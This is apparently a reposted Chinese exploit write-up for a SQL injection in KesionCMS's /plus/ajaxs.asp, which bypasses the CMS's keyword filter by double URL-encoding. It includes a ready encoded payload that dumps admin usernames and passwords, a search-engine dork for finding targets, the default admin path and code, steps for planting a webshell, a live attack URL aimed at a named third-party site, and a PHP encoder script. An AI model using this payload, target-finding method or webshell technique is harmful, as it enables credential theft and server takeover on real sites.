来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 影响版本:kesion v6.0-v7.0以及kesion v7.06 eshop版之所以打个引号,感觉这个不能算是0day,因为只是这个漏洞成因,其实都是同一个函数过滤不严造成的。而且,这个漏洞已经被披露。原漏洞...
影响版本:kesion v6.0-v7.0以及kesion v7.06 eshop版
之所以打个引号,感觉这个不能算是0day,因为只是这个漏洞成因,其实都是同一个函数过滤不严造成的。而且,这个漏洞已经被披露。原漏洞是/user/Reg/regajax.asp下的漏洞。这次出现漏洞的位置是/plus/ajaxs.asp文件,漏洞原理是一样的,都是s函数过滤混乱导致的! 看下文件代码:/plus/ajaxs.asp Dim KS:Set KS=New PublicCls Dim Action Action=KS.S(“Action”) Select Case Action Case ”Ctoe” CtoE Case ”GetTags” GetTags Case ”GetRelativeItem” GetRelativeItem Case ”Shop_GetCoupon” Shop_GetCoupon Case ”Shop_ValidateCoupon” Shop_ValidateCoupon Case ”Shop_BrandOption” Shop_BrandOption Case ”Shop_CheckProID” Shop_CheckProID Case ”GetClassOption” GetClassOption Case ”GetFieldOption” GetFieldOption Case ”SpecialSubList” SpecialSubList Case ”GetArea” GetArea Case ”GetFunc” GetFunc Case ”AddFriend” AddFriend Case ”MessageSave” MessageSave Case ”CheckMyFriend” CheckMyFriend Case ”SendMsg” SendMsg Case ”SearchUser” SearchUser Case ”CheckLogin” CheckLogin Case ”relativeDoc” relativeDoc Case ”getModelType” getModelType Case ”getDocImage” getDocImage Case ”checkDocFname” checkDocFname Case ”addCart” addShoppingCart Case ”GetPackagePro” GetPackagePro Case ”GetSupplyContact” GetSupplyContact Case ”HitsGuangGao” HitsGuangGao Case ”GetClubBoardOption” GetClubBoardOption Case ”getclubboard” GetClubboard Case ”getonlinelist” getonlinelist End Select …..snip… ‘相关信息 Sub GetRelativeItem() //漏洞函数开始 Dim Key:Key=UnEscape(KS.S(“Key”))//漏洞位置,只调用ks.s函数,无其它过滤。 Dim Rtitle:rtitle=lcase(KS.G(“rtitle”)) Dim RKey:Rkey=lcase(KS.G(“Rkey”)) Dim ChannelID:ChannelID=KS.ChkClng(KS.S(“Channelid”)) Dim ID:ID=KS.ChkClng(KS.G(“ID”)) Dim Param,RS,SQL,k,SqlStr If Key<>”" Then If (Rtitle=”true” Or RKey=”true”) Then If Rtitle=”true” Then param=Param & ”title like ’%”& key & ”%’”//类似搜索型注入漏洞。 end if If Rkey=”true” Then If Param=”" Then Param=Param & ” keywords like ’%” & key & ”%’” Else Param=Param & ” or keywords like ’%” & key & ”%’” End If End If Else Param=Param & ” keywords like ’%” & key & ”%’” End If End If If Param<>”" Then Param=” where InfoID<>” & id & ” and (“ & param & ”)” else Param=” where InfoID<>” & id end if If ChannelID<>0 Then Param=Param & ” and ChannelID=” & ChannelID Param=Param & ”and verific=1″ SqlStr=”Select top 30 ChannelID,InfoID,Title From KS_ItemInfo ”& Param & ”order by id desc”//查询 Set RS=Server.CreateObject(“ADODB.RECORDSET”) RS.Open SqlStr,conn,1,1 If Not RS.Eof Then SQL=RS.GetRows(-1) End If RS.Close www.2cto.com 我们来看看Dim Key:Key=UnEscape(KS.S(“Key”))处的函数,调用自定义函数KS.S进行过滤,接着又调用UnEscape函数解码! 然后我们可以去看看函数原型,在/KS_Cls/kesion.commoncls.asp下 Function DelSql(Str) Dim SplitSqlStr,SplitSqlArr,I SplitSqlStr=”dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell” SplitSqlArr = Split(SplitSqlStr,”|”) For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr) If Instr(LCase(Str),SplitSqlArr(I))>0 Then Die ”<script>alert(‘系统警告!\n\n1、您提交的数据有恶意字符“& SplitSqlArr(I) &”;\n2、您的数据已经被记录;\n3、您的IP:“&GetIP&”;\n4、操作日期:“&Now&”;\n Powered By Kesion.Com!’);window.close();</script>” End if Next DelSql = Str End Function ‘取得Request.Querystring 或Request.Form 的值 Public Function S(Str) S = DelSql(Replace(Replace(Request(Str), ”‘”, ”"), ”"”", ”")) //止处过滤,如果配合Unescape()函数,刚过滤并末生交,可以采用unicode编码方式,刚不会在浏览器中出现被过滤的字符。例如,单引号可以编码为。%2527,经过解码后还是“‘”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。 要成功利用的方法,则要根据 Dim KS:Set KS=New PublicCls Dim Action Action=KS.S(“Action”) Select Case Action Case ”Ctoe” CtoE Case ”GetTags” GetTags Case ”GetRelativeItem” GetRelativeItem 调用规则进行调用,当调用的action的值为GetRelativeItem时,即可调用GetRelativeItem函数。在这个函数里面,判断key的值是否为空,所以可以在key的后面接任何值,比如conqu3r。因此构造就很简单了,直接根据搜索型的方法注入就行了。 如下:将:%’) union select 1,2,username+’|'+ password from KS_Admin转换为如下的即可。 /plus/ajaxs.asp?action=GetRelativeItem&key=conqu3r%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500 如果是MSSQL的版本,如果有相应权限,则可以通过备份直接拿shell. 此处漏洞可以利用CLng类型转换,报错查路径。 方法: /plus/ajaxs.asp?action=GetRelativeItem&key=%25 google关键字:intext:Powered By KesionCMS 默认后台:/admin/login.asp 默认认证码:8888 后台拿webshell的方法: 1、通过执行Sql语句,Access导出一句话木马; 2、通过插入数据库,备份出一句话。 实例:http://www.allvison.com//plus/ajaxs.asp?action=GetRelativeItem&key=conqu3r%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500 附转换代码: [code] <?php error_reporting(E_ERROR); set_time_limit(0); print_r(' ================================================================================ kesioncms 命令行转换程序 ------by conqu3r ================================================================================ '); if ($argc<2) { print_r(' ================================================================================ Usage: php '.$argv[0].' "sql code"; Example: php '.$argv[0].' "\'%) union select..."; ================================================================================ '); die; } $str=$argv[1]; for ($i=0; $i<=strlen($str); $i++){ $temp .= "%25".base_convert(ord($str[$i]),10,16); } echo $temp."0"; ?> |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com